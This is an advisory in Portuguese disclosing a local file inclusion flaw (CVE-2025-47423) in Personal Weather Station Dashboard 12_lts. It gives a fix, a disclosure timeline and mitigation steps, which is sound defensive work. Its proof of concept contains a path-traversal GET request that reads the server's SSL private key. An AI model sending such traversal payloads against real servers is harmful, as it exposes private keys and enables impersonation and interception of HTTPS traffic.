CVE-2025-47423 – Inclusão Local de Arquivo no Personal Weather Station Dashboard (12_lts)

Descoberto por: Matthew Eagle
Status: Divulgação Pública
Data de Notificação: 2025-05-05
ID CVE: CVE-2025-47423

---

🧩 Resumo

Uma vulnerabilidade de Inclusão Local de Arquivo (LFI) no Personal Weather Station Dashboard versão 12_lts permite que atacantes remotos não autenticados leiam arquivos arbitrários no servidor. A exploração dessa falha concede acesso a arquivos sensíveis, incluindo chaves SSL privadas, potencialmente comprometendo a confidencialidade e a integridade das conexões HTTPS.

---

🛠 Componente Afetado

• Arquivo: /others/_test.php
• Parâmetro Vulnerável: test (via GET)

---

📈 Impacto

Essa falha permite que atacantes remotos:

• Leiam arquivos arbitrários no sistema de arquivos
• Exponham chaves SSL privadas (por exemplo, server.key)
• Realizem ataques man-in-the-middle (MITM)
• Personifiquem o servidor HTTPS

CVSS: 5.8 Médio

---

💥 Prova de Conceito (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

Resposta:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

---

🧪 Código Vulnerável (Simplificado)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

O str_replace é insuficiente para impedir o directory traversal.

---

🔐 Correção Segura

• Use allowlisting estrito para os alvos de inclusão
• Sanitize a entrada com basename() e verifique contra os arquivos permitidos
• Evite inclusão dinâmica baseada na entrada do usuário

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

---

📅 Cronologia

Data	Evento
2025-05-05	Vulnerabilidade reportada aos moderadores do PWS Dashboard
2025-05-06	Confirmação e testes observados
2025-05-07	CVE-2025-47423 reservado via MITRE
2025-06-07	Patch público e listagem do CVE confirmados

---

🧠 Mitigação

Se você estiver executando o Personal Weather Station Dashboard 12_lts, você deve:

• Remover ou atualizar imediatamente o _test.php
• Implementar o script corrigido com whitelisting de arquivos
• Rotacionar e reemitir quaisquer certificados TLS comprometidos

---

🧾 Referências

• CVE-2025-47423 no MITRE (pendente)
• Aviso publicado no GitHub

---

🙏 Créditos

Vulnerabilidade descoberta e divulgada de forma responsável por Matthew Eagle
Contato: [email protected]

---

Divulgação coordenada em conformidade com as diretrizes de divulgação responsável. Este documento é publicado para fins educacionais e defensivos.